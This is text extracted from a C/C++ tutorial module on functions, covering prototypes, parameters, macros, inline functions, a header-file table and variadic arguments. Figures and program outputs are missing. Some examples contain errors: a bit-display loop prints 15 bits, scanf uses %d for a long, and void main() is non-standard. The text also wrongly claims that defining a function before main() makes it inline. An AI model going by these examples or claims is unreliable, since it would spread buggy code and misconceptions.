DisplayBits(p);
return 0;
}

/*function definition.*/
void DisplayBits(unsigned number)
{
unsigned q;
/*2 byte, 16 bits position*/
/*operated bit by bit and hide/mask other bits*/
/*using left shift operator*/
/*start with 10000000 00000000*/
unsigned DisplayMask = 1<<15;

printf("%7u = ", number);


for(q = 1; q < 16; q++)
{
/*combining variable number with variable DisplayMask*/
putchar(number & DisplayMask ? '1':'0');
/*number variable is left shifted one bit*/
number<<= 1;
/*separate by 8 bits position (1 byte)*/
if(q % 8 == 0)
putchar(' ');
}
putchar('\n');
}

[bodo@bakawali ~]$ gcc bitwise.c -o hahahahaha


[bodo@bakawali ~]$ ./hahahahaha

Enter an unsigned integer: 10


10 = 00000000 0000101

[bodo@bakawali ~]$ ./hahahahaha

Enter an unsigned integer: 200


200 = 00000000 1100100

------------------------------------------------o0o------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.

www.tenouk.com Page 28 of 28
MODULE 4
FUNCTIONS
Receive nothing, return nothing-receive nothing, return something-
receive something, return something-receive something, return nothing
And they do something. That is a function!

My Training Period: hours

Note: Function is one of the important topics in C and C++.

Abilities

▪ Able to understand and use function.


▪ Able to create user defined functions.
▪ Able to understand Structured Programming.
▪ Able to understand and use macro.
▪ Able to appreciate the recursive function.
▪ Able to find predefined/built-in standard and non-standard functions resources.
▪ Able to understand and use predefined/built-in standard and non-standard functions.
▪ Able to understand and use the variadic functions.

4.1 Some Definition

- Most computer programs that solve real-world problem are large, containing thousand to million lines
of codes and developed by a team of programmers.
- The best way to develop and maintain large programs is to construct them from smaller pieces or
modules, each of which is more manageable than the original program.
- These smaller pieces are called functions. In C++ you will be introduced to Class, another type smaller
pieces construct.
- The function and class are reusable. So in C / C++ programs you will encounter and use a lot of
functions. There are standard (normally called library) such as maintained by ANSI C / ANSI C++,
ISO/IEC C, ISO/IEC C++ and GNU’s glibc or other non-standard functions (user defined or vendors
specific or implementations or platforms specific).
- If you have noticed, in the previous Modules, you have been introduced with many functions, including
the main(). main() itself is a function but with a program execution point.
- Functions are very important construct that marks the structured or procedural programming approach.
- In general terms or in other programming languages, functions may be called procedures or routines
and in object oriented programming, methods may be used interchangeably with functions.
- Some definition: A function is a named, independent section of C / C++ code that performs a specific
task and optionally returns a value to the calling program.
- So, in a program, there are many calling function codes and called functions (normally called callee).
- There are basically two categories of function:

1. Predefined functions - available in the C / C++ standard library such as stdio.h,


math.h, string.h etc. These predefined functions also depend on the standard that
you use such as ANSI C, ANSI C++, ISO/IEC C, Single UNIX Specification, glibc
(GNU), Microsoft C etc. but the functions name and their functionalities typically
similar. You have to check your compilers documentation which standard that they
comply to.
2. User-defined functions – functions that the programmers create for specialized tasks
such as graphic and multimedia libraries, implementation extensions etc. This is non-
standard functions normally provided in the non-standard libraries.

- You will encounter a lot of the predefined functions when you proceed from Module to Module of this
Tutorial. Here we will try to concentrate on the user-defined functions (also apply to predefined
function), which basically having the following characteristics:

1. A function is named with unique name.


By using the name, the program can execute the statements contained in the function, a process
known as calling the function. A function can be called from within another function.

2. A function performs a specific task.

www.tenouk.com Page 1 of 41
Task is a discrete job that the program must perform as part of its overall operation, such as
sending a line of text to the printer, sorting an array into numerical order, or calculating a cube
root, etc.

3. A function is independent.
A function can perform its task without interference from or interfering with other parts of the
program. The main program, main() also a function but with an execution point.

4. A function may receive values from the calling program.


Calling program can pass values to function for processing whether directly or indirectly (by
reference).

5. A function may return a value to the calling program.


When the program calls a function, the statements it contains are executed. These statements may
pass something back to the calling program.

- Let try a simple program example that using a simple user defined function:

//Demonstrate a simple function


#include <stdio.h>
#include <stdlib.h>
//calling predefined functions needed in
//this program such as printf()

long cube(long);
//function prototype, explained later

void main()
{
long input, answer;

printf("\n--Calculating cube volume--\n");


printf("Enter a positive integer, for cube side (meter):
");
scanf("%d", &input);

answer = cube(input); //calling cube function


//%ld is the conversion specifier for a long
//integer, more on this in another module
printf("\nCube with side %ld meter, is %ld cubic meter.\n",
input, answer);
system("pause");
}

//function definition
long cube(long x)
{
//local scope (to this function) variable
long x_cubed;

//do some calculation


x_cubed = x * x * x;
//return a result to calling program
return x_cubed;
}

Output:

- The following statement is calling cube() function, bringing along the value assigned to the input
variable.

www.tenouk.com Page 2 of 41
- When this statement is executed, program jump to the cube() function definition:

- After finished the execution, the cube() function returns to the calling code, where in this case, assign
the return value, x_cubed to an answer variable.
- main(), scanf(), print() are examples of the standard predefined functions.

4.2 How A Function Works

- A C / C++ program does not execute the statements in a function until the function is called by another
part of the program.
- When C / C++ function is called, the program can send information to the function in the form of one
or more what is called arguments although it is not a mandatory.
- Argument is a program data needed by the function to perform its task.
- When the function finished its processing, program returns to the same location that called the function.
- The following figure illustrates a function call.

Arrow Means
→ Calling function with data (argument) if any
← Return to the next statement or execution with data if any

www.tenouk.com Page 3 of 41
- When a program calls a function, executions passed to the function and then back to the calling
program’s code.
- Function can be called as many times as needed as shown for function2() in the above figure, and
can be called in any order provided that it has been declared (as a prototype) and defined.

4.3 A Function Definition

- Is the actual function body, which contains the code that will be executed as shown below:

long cube(long x)
{
//local scope (to this function) variable
long x_cubed;

//do some calculation


x_cubed = x * x * x;
//return a result to calling program
return x_cubed;
}

- First line of a function definition is called the function header, should be identical to the function
prototype, except the semicolon.
- Although the argument variable names (x in this case) were optional in the prototype, they must be
included in the function header.
- Function body, containing the statements, which the function will perform, should begin with an
opening brace and end with a closing brace.
- If the function returns data type is anything other than void (nothing to be returned), a return statement
should be included, returning a value matching the return data type (long in this case).

4.4 Structured Programming

- Functions and structured programming are closely related.


- Structured programming definition: In which individual program tasks are performed by independent
sections of program code.
- Normally, the reasons for using structured programming may be:

1. Easier to write a structured program.


Complex programming problems or program are broken into a number of smaller, simpler
tasks. Every task can be assigned to a different programmer and/or function.

2. It’s easier to debug a structured program.


If the program has a bug (something that causes it to work improperly), a structured design
makes it easier to isolate the problem to a specific section of code.

3. Reusability.
Repeated tasks or routines can be accomplished using functions. This can overcome the
redundancy of code writing, for same tasks or routines, it can be reused, no need to rewrite
the code, or at least only need a little modification.

- Advantages: Can save programmers’ time and a function written can be reused (reusability).
- Structured program requires planning, before we start writing a single line of code.
- The plan should be a list of the specific tasks that the program performs.

Very Simple Example:

- Imagine that you are planning to create a program to manage a name and address list of students.

Planning: Roughly the algorithm normally written in pseudo code might be (not in order):

1. Enter new names and address.


2. Modify existing entries.
3. Sort entries by last name.
4. Printing mailing labels.

www.tenouk.com Page 4 of 41
- So, the program is divided into 4 main tasks, each of which can be assigned to a function.
- Next, if needed, we still can divide these tasks into smaller tasks called subtasks.
- For example, as a common sense, for the "Enter new names and addresses" we can divide to the
following subtasks:

1. Read the existing address list from disk.


2. Prompt the user for one or more new entries.
3. Add the new data to the list.
4. Save the updated list to disk.

- Then if needed, "Modify existing entries" task still can be subdivided to the following subtasks:

1. Read the existing address list from disk.


2. Modify one or more entries.
3. Save the updated list to disk.

- Finally we can see that there are two common subtasks: "Reading from disk and saving to disk"
- So, one function can be called by both the "Enter new names and address" function and the "Modify
existing entries" function. No redundancy or repetition and the functions created and tested can be
reused later on by programs that need the same tasks.
- Same for the subtask "Save the updated list to disk".
- Structured programming method results in a hierarchical or layered program structure, as depicted in
figure 4.1:

4.4.1 A Top-down Approach

- Using structured programming, C/C++ programmers take the top-down approach as in the previous
figure. So, program’s structure resembles an inverted tree, from the root then to the trunk then to the
branch and finally to the leafs.
- From the main() program, subdivide the task to smaller tasks (subtasks). Then these smaller subtasks
are divided again if needed, to smaller subtasks and so on.
- Every subtask then assigned to the specific functions.
- You can see that most of the real work of the program is performed by the functions at the “tip of the
branches”.
- The functions closer to the trunk primarily are direct program execution among these functions.
- So, main body of the program has a small amount of code and every function acts independently. To
see how this approach been implemented, check Example #13 at the end of this Module.

4.5 Writing A Function

- The first step is to know what task the function should perform. Then, detail the function declaration
and definition.

www.tenouk.com Page 5 of 41
- When you create functions or use the pre-defined functions, for debugging and testing, you may
convert each function to main() program, to test it individually, because function cannot be run
individually.
- Next, when you have satisfied with the execution of each separate main() program, re convert these
separate main() programs to the respective functions and call the functions from within one main()
program. Keep in mind that main() is also a function but with execution point. Let discussed the
details how to write a function.

4.5.1 The Function header

- The first line of every function is called function header. It has 3 components, as shown below:

1. Function return type


Specifies the data type that the function should returns to the calling program. Can be any of
C/C++ data types: char, float, int, long, double etc. If there is no return value, specify
a return type of void. For example,

int calculate_yield(…) // returns a type int


float mark(…) // returns a type float
void calculate_interest(…) // returns nothing

2. Function name
Can have any name as long as the rules for C/C++ variable names are followed and must be
unique.

3. Parameter list
Many functions use arguments, the value passed to the function when it is called. A
function needs to know what kinds of arguments to expect, that is, the data type of
each argument. A function can accept any of C/C++ basic data types. Argument type
information is provided in the function header by the parameter list. This parameter list just
acts as a placeholder.

- For each argument that is passed to the function, the parameter list must contain one entry, which
specifies the data type and the name of the parameter.
- For example:

void myfunction(int x, float y, char z)


void yourfunction(float myfloat, char mychar)
int ourfunction(long size)

- The first line specifies a function with three arguments: a type int named x, a type float named y
and a type char named z.
- Some functions take no arguments, so the parameter list should be void such as:

long thefunction(void)
void testfunct(void)
int zerofunct()

- Parameter is an entry in a function header. It serves as a placeholder for an argument. It is fixed, that
is, do not change during execution.

www.tenouk.com Page 6 of 41
- The argument is an actual value passed to the function by the calling program. Each time a function is
called, it can be passed with different arguments through the parameters.
- A function must be passed with the same number and type of arguments each time it is called, but the
argument values can be different.
- In function, using the corresponding parameter name accesses the argument.
- Program example:

//Demonstration the difference between


//arguments and parameters
#include <stdio.h>
#include <stdlib.h>
//using predefined functions in the
//standard library

//main() function
void main()
{
float x = 3.5, y = 65.11, z;
float half_of (float);
//In this call, x is the argument to half_of().

z = half_of(x);

printf("The function call statement is z = half_of(x)\n");


printf("where x = 3.5 and y = 65.11...\n\n");
printf("Passing argument x\n");
printf("The value of z = %f \n", z);

//In this call, y is the argument to half_of()


z = half_of(y);

printf("\nPassing argument y\n");


printf("The value of z = %f \n\n", z);
//using predefined function system() in stdlib.h
system("pause");
}

//function definition
float half_of(float k)
{
//k is the parameter. Each time half_of() is called,
//k has the value that was passed as an argument.
return (k/2);
}

Output:

- For the first function call:

- Then, the second function call:

www.tenouk.com Page 7 of 41
- Each time a function is called, the different arguments are passed to the function’s parameter.
- z = half_of(y) and z = half_of(x), each send a different argument to half_of() through
the k parameter.
- The first call send x, contain a value of 3.5, then the second call send y, contain a value of 65.11.
- The value of x and y are passed into the parameter k of half_of().
- Same effect as copying the values from x to k, and then y to k.
- half_of() then returns this value after dividing it by 2.
- We can depict this process graphically as follows:

4.5.2 The Function Body

- Enclosed in curly braces, immediately follows the function header.


- Real work in the program is done here.
- When a function is called execution begins at the start of the function body and terminates (returns to
the calling program) when a return statement is encountered or when execution reaches the closing
braces (}).
- Variable declaration can be made within the body of a function.
- Variables declared in a function, are called local variables. The scope, that is the visibility and validity
of the variables are local.
- Local variables are the variables apply only to that particular function, are distinct from other variables
of the same name (if any) declared elsewhere in the program outside the function.
- It is declared like any other variable and can also be initialized. Outside of any functions, those
variables are called global variables.
- Example of declaring local variables:

int function1(int y)
{
Int a, b=10; // local variable
Float rate; // local variable
Double cost=12.55; // local variable, been initialized
}

- Program example:

www.tenouk.com Page 8 of 41
Output:

- The function parameters are considered to be variable declaration, so, the variables found in the
functions parameter list are also available.
- Function prototype normally placed before main() and your function definition after main() as
shown below. For C++, the standard said that we must include the prototype but not for C.

#include …

/*function prototype;*/
int funct1(int);

int main()
{
/*function call*/
int y = funct1(3);

}

/*Function definition*/
int funct1(int x)
{…}

- But it is OK if we directly declare and define the function before main() as shown below. This
becomes an inline function.

#include …

/*declare and define*/


int funct1(int x)
{

}

int main()
{
/*function call*/
int y = funct1(3);

www.tenouk.com Page 9 of 41
}

- Or you will find later that we can declare, define and implement the functions in other files.
- Three rules govern the use of variables in functions:

1. To use a variable in a function, the programmer must declare it in the function header or the
function body.
2. For a function to obtain a value from the calling program, the value must be passed as an
argument (the actual value).
3. For a calling program to obtain a value from function, the value must be explicitly returned
from the function.

4.5.3 The Function Statements

- Any statements can be included within a function, with one exception: a function may not contain the
definition of another function.
- For examples: if statements, loop, assignments etc are valid statements.

4.5.4 Returning A Value

- A function may or may not return a value.


- If function does not return a value, then the function return type is said to be of type void.
- To return a value from a function, use return keyword, followed by C/C++ expression.
- The value is passed back to the calling program.
- Example of returning a value from a function:

- The return value must match the return data type. For the above code segment, x must be an integer.
- A function can contain multiple return statements. The first return executed is the only one that has any
effect.
- An efficient way to return different values from a function may be the example below.

//Using multiple return statements in a function


#include <stdio.h>
#include <stdlib.h>

//Function prototype
int larger_of(int, int);

void main()
{
int x, y, z;

puts("Enter two different integer values,");


puts("separated by space. Then press Enter key: ");
scanf("%d%d", &x, &y);

z=larger_of(x, y);

printf("\nThe larger value is %d.", z);


printf("\n");
system("pause");
}

//Function definition
int larger_of(int a, int b)
{
//return a or b

www.tenouk.com Page 10 of 41
if(a > b)
return a;
else
return b;
}

Output:

4.5.5 The Function Prototype

- Must be included for each function that it uses, (required by Standards for C++ but not for C) if not
directly declare and define before main().
- In most cases it is recommended to include a function prototype in your C program to avoid ambiguity.
- Identical to the function header, with semicolon (;) added at the end.
- Function prototype includes information about the function’s return type, name and parameters’ type.
- The general form of the function prototype is shown below,

function_return_type function_name(type parameter1, type parameter2,…, type


parameterN)

- The name is optional and the example of function prototype:

long cube(long);

- Provides the C/C++ compiler with the name and arguments of the functions contained in the program
and must appear before the function is used or defined. It is a model for a function that will appear
later, somewhere in the program.
- So, for the above prototype, the function is named cube, it requires a variable of the type long, and it
will return a value of type long.

- So, the compiler can check every time the source code calls the function, verify that the correct number
and type of arguments are being passed to the function and check that the return value is returned
correctly.
- If mismatch occurs, the compiler generates an error message enabling programmers to trap errors.
- A function prototype need not exactly match the function header.
- The optional parameter names can be different, as long as they are the same data type, number and in
the same order.
- But, having the name identical for prototype and the function header makes source code easier to
understand.
- Normally placed before the start of main() but must be before the function definition.
- Provides the compiler with the description of a function that will be defined at a later point in the
program.
- Includes a return type which indicates the type of variable that the function will return.
- And function name, which normally describes what the function does.
- Also contains the variable types of the arguments that will be passed to the function.

www.tenouk.com Page 11 of 41
- Optionally, it can contain the names of the variables that will be returned by the function.
- A prototype should always end with a semicolon ( ; ).
- For example (can’t be executed):

//Function prototype example


//This example cannot be compiled and run

double squared (double); //function prototype


void print_report (int); //function prototype

double squared(double number) //function header


{ //opening bracket
return (number * number); //function body
} //closing bracket

void print_report(int report_number)


{
if(report_number == 1)
printf("Printing Report 1");
else
printf("Not printing Report 1");
}

4.6 Passing Arguments To A Function

- In order function to interact with another functions or codes, the function passes arguments.
- The called function receives the values passed to it and stores them in its parameters.
- List them in parentheses following the function name.
- Program example:

#include <iostream.h>
#include <stdlib.h>

//function prototype
void prt(int);

//the main function definition


int main()
{
//declare an integer variable
int x=12;

//calls prt() and passes it x


prt(x);
cout<<endl;
system("pause");
return 0;
}

//the prt() function definition


void prt(int y)
{
//local variable…
int p = 30;

//value from calling program


cout<<"Value from the calling program..."<<endl;
cout<<"x's value = "<<y<<endl;

//local variable value


cout<<"\nLocal variable value..."<<endl;
cout<<"p's value = "<<p<<endl;

Output:

www.tenouk.com Page 12 of 41
- The number of arguments and the type of each argument must match the parameters in the function
header and prototype.
- If the function takes multiple arguments, the arguments listed in the function call are assigned to the
function parameters in order.
- The first argument to the first parameter, the second argument to the second parameter and so on as
illustrated below.

- Basically, there are three ways how we can pass something to function parameters:

1. Passing by value – you learn in this Module.


2. Passing by (memory) address – you will learn in Array and Pointer Modules.
3. Passing by reference (C++ only) – also in Array and Pointer Modules.

4.7 Macros and Inline Functions

- If the same sequence of steps or instructions is required in several different places in a program, you
will normally write a function for the steps and call the function whenever these steps are required. But
this involves time overhead.
- Also can place the actual sequence of steps wherever they are needed in the program, but this increase
the program size and memory required to store the program. Also need retyping process or copying a
block of program.
- Use function if the sequence of steps is long. If small, use macros or inline function, to eliminate the
need for retyping and time overhead.

4.7.1 Macros

- Need #define compiler directive. For example, to obtain just the area of a triangle, we could use the
directive:

- When we have defined the above macro, you can use it anywhere in the program as shown below:

cout<<"\nArea = "<<area(4.0, 6.0);

- Example for finding an average of 4 numbers ( a, b, c and d):

#define avg(x, y) (x + y)/2.0

avg1 = avg(avg(a, b), avg(c, d))

www.tenouk.com Page 13 of 41
- Substitution:

avg4 = ((a + b)/2.0 + (c + d)/2.0) / 2.0

- The drawback: nesting of macros may result in code that difficult to read.

4.7.2 Inline Function

- Is preferred alternative to the macro since it provides most of the features of the macro without its
disadvantages.
- Same as macro, the compiler will substitute the code for the inline function wherever the function is
called in the program.
- Inline function is a true function whereas a macro is not.
- Includes the keyword inline placed before the function.
- Program example:

//Area of triangle using inline function


#include <iostream.h>
#include <stdlib.h>

//inline function, no need prototype…


inline float triangle_area(float base, float height)
{
float area;
area = (0.5 * base * height);
return area;
}

int main()
{
float b, h, a;
b = 4;
h = 6;
a = triangle_area(b, h);
cout<<"Area = (0.5*base*height)"<<endl;
cout<<"where, base = 4, height = 6"<<endl;
//compiler will substitute
//the inline function code.
cout<<"\nArea = "<<a<<endl;
system("pause");
return 0;
}

Output:

4.8 Header Files and Functions

- Header files contain numerous frequently used functions that programmers can use without having to
write codes for them.
- Programmers can also write their own declarations and functions and store them in header files which
they can include in any program that may require them (these are called user-defined header file that
contains user defined functions).

4.8.1 Standard Header File

- To simplify and reduce program development time and cycle, C / C++ provides numerous predefined
functions. These functions are normally defined for most frequently used routines.
- These functions are stored in what are known as standard library such as ANSI C (ISO/IEC C), ANSI
C++ (ISO/IEC C++) and GNU glibc header files etc. or not so standard (implementation dependent)

www.tenouk.com Page 14 of 41
header files (with extension .h, .hh etc) and some just called this collection as C/C++ libraries. For
template based header files in C++ there are no more .h extension (refer to Module 23).
- In the wider scope, each header file stores functions, macros, structures (struct) and types that are
related to a particular application or task.
- This is one of the skills that you need to acquire, learning how to use these readily available functions
in the header files and in most C/C++ books, courses or training, this part is not so emphasized. So,
you have to learn it by yourself, check your compiler documentation where normally, they also contain
program examples.
- You have to know which functions you are going to use, how to write the syntax to call the functions
and which header files to be included in your program.
- Before any function contained in a header file can be used, you have to include the header file in your
program. You do this by including the:

#include <header_filename.h>

- This is called preprocessor directive, normally placed before the main() function of your program.
- You should be familiar with these preprocessor directives, encountered many times in the program
examples presented in this Tutorial such as:

#include <stdio.h>
#include <iostream.h>

int main()
{ return 0; }

- Every C/C++ compiler comes with many standard and non-standard header files. Header files, also
called include files; provide function prototype declarations for functions library, macros and types.
Data types and symbolic constants used with the library functions are also defined in them.
- Companies that sold compilers or third party vendors, normally provide the standard function libraries
such as ISO/IEC C, their own extension or other special header files, normally for specific applications
such as for graphics manipulation, engineering applications and databases. These non standard headers
are implementation dependent.
- For example, the following table is a partial list of an ANSI C, ANSI C++ and non-standard header
files.
- There may be new header files introduced from time to time by Standard and Non-standard bodies and
there may be obsoletes header files.
- Some may be implementation dependant so check your compiler documentation.

Note: The middle column indicates C++ header files, header files defined by ANSI C or non-standard header files
(-). Standard C++ header files (template based) don’t have the .h anymore. For more information please read
Module 23.

Header file ANSI C? Purpose


Declares memory-management functions (allocation, de-
alloc.h - allocation, and so on). Example: calloc(), malloc(),
farfree().
assert.h ANSI C Defines the assert debugging macro.
Declares the C++ class bcd (binary coded decimal) and the
bcd.h C++
overloaded operators for bcd and bcd math functions.
Declares various functions used in calling IBM®-PC ROM
bios.h - BIOS routines. Example: biosequip(), bioskey(),
biosprint().
checks.h C++ Defines the class diagnostic macros.
complex.h C++ Declares the C++ complex math functions.
Declares various functions used in calling the operating
conio.h - system console I/O routines. Example: getch(),
gotoxy(), putch(), outport().
constrea.h C++ Defines the conbuf and constream classes.
cstring.h C++ Defines the string classes.
Contains information used by the character classification and
character conversion macros (such as isalpha and
ctype.h ANSI C
toascii). Example: isalnum(), isupper(),
isspace().
date.h C++ Defines the date class.

www.tenouk.com Page 15 of 41
Contains structures, macros, and functions for working with
dir.h - directories and path names. Example: chdir(),
getcurdir(), mkdir(), rmdir().
Defines structures, macros, and functions for dealing with
direct.h -
directories and path names.
Declares functions and structures for POSIX directory
dirent.h - operations. Example: closedir(), opendir(),
readdir().
Defines various constants and gives declarations needed for
dos.h - DOS and 8086-specific calls. Example: bdos(),
_chmod(), getdate(), gettime().
errno.h ANSI C Defines constant mnemonics for the error codes.
except.h C++ Declares the exception-handling classes and functions.
excpt.h - Declares C structured exception support.
Defines symbolic constants used in connection with the
fcntl.h -
library routine open. Example: _fmode(), _pipe().
file.h C++ Defines the file class.
Contains parameters for floating-point routines.
float.h ANSI C
Declares the C++ stream classes that support file input and
fstream.h C++
output.
generic.h C++ Contains macros for generic class declarations.
Contains structures and declarations for low-level
io.h - input/output routines. Example: access(), create(),
close(), lseek(), read(), remove().
Declares the C++ streams I/O manipulators and contains
iomanip.h C++
templates for creating parameterized manipulators.
iostream.h C++ Declares the basic C++ streams (I/O) routines.
Contains environmental parameters, information about
limits.h ANSI C
compile-time limitations, and ranges of integral quantities.
Declares functions that provide country- and language-
locale.h ANSI C specific information. Example: localeconv(),
setlocale().
malloc.h - Declares memory-management functions and variables.
Declares prototypes for the math functions and math error
math.h ANSI C handlers. Example: abs(), cos(), log(), pow(),
sin(), tan().
Declares the memory-manipulation functions. (Many of these
mem.h - are also defined in string.h.). Example: memccpy(),
movedata(), memset(), _fmemmove(), memchr().
memory.h Contains memory-manipulation functions.
new.h C++ Access to _new_handler, and set_new_handler.
Contains structures and declarations for the spawn... and
process.h - exec... functions. Example: abort(), exit(),
getpid(), wait().
Declares functions for searching and sorting. Example:
search.h -
bsearch(), lfind(), qsort().
Declares the functions longjmp and setjmp and defines a
setjmp.h ANSI C type jmp_buf that these functions use. Example:
longjmp(), setjmp().
Defines parameters used in functions that make use of file-
share.h -
sharing.
Defines constants and declarations for use by the signal and
signal.h ANSI C
raise functions. Example: raise(), signal().
Defines macros used for reading the argument list in
stdarg.h ANSI C functions declared to accept a variable number of arguments
(such as vprintf, vscanf, and so on).
stddef.h ANSI C Defines several common data types and macros.
Defines types and macros needed for the standard I/O
package defined in Kernighan and Ritchie and extended
under UNIX System V. Defines the standard I/O predefined
stdio.h ANSI C
streams stdin, stdout, stdprn, and stderr and
declares stream-level I/O routines. Example: printf(),
scanf(), fgets(), getchar(), fread().
stdiostr.h C++ Declares the C++ (version 2.0) stream classes for use with

www.tenouk.com Page 16 of 41
stdio FILE structures. You should use iostream.h for
new code.
Declares several commonly used routines such as conversion
stdlib.h ANSI C routines and search/sort routines. Example: system(),
time(), rand(), atof(), atol(), putenv().
Declares several string-manipulation and memory-
string.h ANSI C manipulation routines. Example: strcmp(), setmem(),
_fstrcpy(), strlen().
Declares the C++ stream classes for use with byte arrays in
strstrea.h C++
memory.
sys\locking.h - Contains definitions for mode parameter of locking function.
Defines symbolic constants used for opening and creating
sys\stat.h -
files.
Declares the function ftime and the structure timeb that
sys\timeb.h -
ftime returns.
sys\types.h - Declares the type time_t used with time functions.
thread.h C++ Defines the thread classes.
Defines a structure filled in by the time-conversion routines
asctime, localtime, and gmtime, and a type used by
time.h ANSI C
the routines ctime, difftime, gmtime, localtime,
and stime. It also provides prototypes for these routines.
typeinfo.h C++ Declares the run-time type information classes.
Declares the utime function and the utimbuf struct
utime.h -
that it returns.
Defines important constants, including machine
values.h -
dependencies; provided for UNIX System V compatibility.
Definitions for accessing parameters in functions that accept
varargs.h - a variable number of arguments. Provided for UNIX
compatibility; you should use stdarg.h for new code.

Table 4.1: List of the standard and non standard header files

4.8.2 Using Predefined Functions in Header File

- Many of the functions in the standard (ANSI, ISO/IEC, Single UNIX Specification, GNU glibc etc.)
header files were used throughout this tutorial. You have to learn how to use these readily available
functions in the specific header file and must know how to write the syntax to call these functions. Do
not reinvent the wheels :o).
- Complete information about the functions and the header file normally provided by the compiler
documentation. They also may have program examples that you can try.
- Don’t forget also there are also tons of the non standard predefined header files available from the
compiler vendors, for specific machine/platform or third party.
- For Borland, Microsoft and other implementations, the functions contained in the non standard header
files normally begin with underscore ( _ ) such as _chmod() but using the similar function name.
- If you wrongly use or the include path is incorrect, normally the compiler will generates error
mentioning the file cannot be found/opened or can’t recognize the function names used in your
program.
- In reality the include files just act as an interface for our programs. The definition of the include files
actually already loaded into the system memory area as a library files (mainly for the standard header
files) typically with the .lib extension.
- Another error normally done by programmers is using wrong types, number and order of the function
parameters.

4.8.3 User-defined Header Files

- We can define program segments (including functions) and store them in files. Then, we can include
these files just like any standard header file in our programs.
- For example:

#include "myfile.h"
// enclosed with " ", instead of < >
// because it is located in the same folder/directory
// as the main() program instead of the standard path of
// of the include files set during the compiler installation.

www.tenouk.com Page 17 of 41
int main()
{ return 0; }

- Here, myfile.h is a user-defined header file, located in the same folder as the main() program.
- All the program segments contained in myfile.h are accessible to the function main().
- An example is given at the end of this Module how to create and use the user-defined function.
- This is the concept that is quite similar to the Object Oriented Programming using the classes that
contain methods which you will learn in Tutorial #3.

4.8.4 Variadic Functions

- ANSI C (ISO/IEC C) defines syntax for declaring a function to take a variable number or type of
arguments. Such functions are referred to as varargs functions or variadic functions.
- However, the language itself provides no mechanism for such functions to access their non-required
arguments; instead, you use the variable arguments macros defined in stdarg.h.
- The example of variadic function used in Standard ANSI C is printf() function. If you have
noticed, printf() can accept variable number or type of arguments.
- Many older C dialects provide a similar, but incompatible, mechanism for defining functions with
variable numbers of arguments, using varargs.h header file.

4.8.4.1 The Usage

- Ordinary C functions take a fixed number of arguments. When you define a function, you specify the
data type for each argument.
- Every call to the function should supply the expected number of arguments in order, with types that can
be converted to the specified ones. Thus, if a function named let say testfunc() is declared like the
following:

int testfunc(int, char *);

- Then you must call it with two arguments, an integer number (int) and a string pointer (char *).
- But some functions perform operations that can meaningfully accept an unlimited number of
arguments.
- In some cases a function can handle any number of values by operating on all of them as a block. For
example, consider a function that allocates a one-dimensional array with malloc() to hold a specified
set of values.
- This operation makes sense for any number of values, as long as the length of the array corresponds to
that number. Without facilities for variable arguments, you would have to define a separate function
for each possible array size.
- The library function printf() is an example of another class of function where variable arguments
are useful. This function prints its arguments (which can vary in type as well as number) under the
control of a format template string.
- These are good reasons to define a variadic function which can handle as many arguments as the caller
chooses to pass.

4.8.4.2 Definition

- Defining and using a variadic function involves three steps:

1. Define the function as variadic, using an ellipsis ('...') in the argument list, and using special
macros to access the variable arguments.
2. Declare the function as variadic, using a prototype with an ellipsis ('...'), in all the files which
call it.
3. Call the function by writing the fixed arguments followed by the additional variable arguments.

4.8.4.3 The Syntax for Variable Arguments

- A prototype of a function that accepts a variable number of arguments must be declared with that
indication. You write the fixed arguments as usual, and then add an '...' to indicate the possibility of
additional arguments.
- The syntax of ANSI C requires at least one fixed argument before the '...'. For example:

www.tenouk.com Page 18 of 41
int varfunc(const char *a, int b, ...)
{ return 0; }

- Outlines a definition of a function varfunc which returns an int and takes two required arguments, a
const char * and an int. These are followed by any number of anonymous arguments.

4.8.4.4 Receiving the Argument Values

- Ordinary fixed arguments have individual names, and you can use these names to access their values.
But optional arguments have no names that are nothing but '...'. How can you access them?
- The only way to access them is sequentially, in the order they were written, and you must use special
macros from stdarg.h in the following three step process:

1. You initialize an argument pointer variable of type va_list using va_start. The
argument pointer when initialized points to the first optional argument.
2. You access the optional arguments by successive calls to va_arg. The first call to
va_arg gives you the first optional argument; the next call gives you the second, and so
on. You can stop at any time if you wish to ignore any remaining optional arguments. It
is perfectly all right for a function to access fewer arguments than were supplied in the
call, but you will get garbage values if you try to access too many arguments.
3. You indicate that you are finished with the argument pointer variable by calling
va_end.

- Steps 1 and 3 must be performed in the function that accepts the optional arguments. However, you can
pass the va_list variable as an argument to another function and perform all or part of step 2 there.
- You can perform the entire sequence of the three steps multiple times within a single function
invocation. If you want to ignore the optional arguments, you can do these steps zero times.
- You can have more than one argument pointer variable if you like. You can initialize each variable with
va_start when you wish, and then you can fetch arguments with each argument pointer as you wish.
- Each argument pointer variable will sequence through the same set of argument values, but at its own
pace.

4.8.4.5 How Many Arguments Were Supplied

- There is no general way for a function to determine the number and type of the optional arguments it
was called with. So whoever designs the function typically designs a convention for the caller to tell it
how many arguments it has, and what kind.
- It is up to you to define an appropriate calling convention for each variadic function, and write all calls
accordingly.
- One kind of calling convention is to pass the number of optional arguments as one of the fixed
arguments. This convention works provided all of the optional arguments are of the same type.
- A similar alternative is to have one of the required arguments be a bit mask, with a bit for each possible
purpose for which an optional argument might be supplied. You would test the bits in a predefined
sequence; if the bit is set, fetch the value of the next argument, and otherwise use a default value.
- A required argument can be used as a pattern to specify both the number and types of the optional
arguments. The format string argument to printf() is one example of this.

4.8.4.6 Calling Variadic Functions

- You don't have to write anything special when you call a variadic function. Just write the arguments
(required arguments, followed by optional ones) inside parentheses, separated by commas, as usual.
- But you should prepare by declaring the function with a prototype, and you must know how the
argument values are converted.
- In principle, functions that are defined to be variadic must also be declared to be variadic using a
function prototype whenever you call them. This is because some C compilers use a different calling
convention to pass the same set of argument values to a function depending on whether that function
takes variable arguments or fixed arguments.
- Conversion of the required arguments is controlled by the function prototype in the usual way: the
argument expression is converted to the declared argument type as if it were being assigned to a
variable of that type.

www.tenouk.com Page 19 of 41
4.8.4.7 Argument Access Macros

- The following Table list the descriptions of the macros used to retrieve variable arguments. These
macros are defined in the stdarg.h header file.

Data Type: va_list


The type va_list is used for argument pointer variables.

Macro: void va_start (va_list ap, last-required)


This macro initializes the argument pointer variable ap to point to the first of the optional arguments
of the current function; last-required must be the last required argument to the function.

Macro: type va_arg (va_list ap, type)


The va_arg macro returns the value of the next optional argument, and modifies the value of ap to
point to the subsequent argument. Thus, successive uses of va_arg return successive optional
arguments.
The type of the value returned by va_arg is type as specified in the call. type must be a self-
promoting type (not char or short int or float) that matches the type of the actual argument

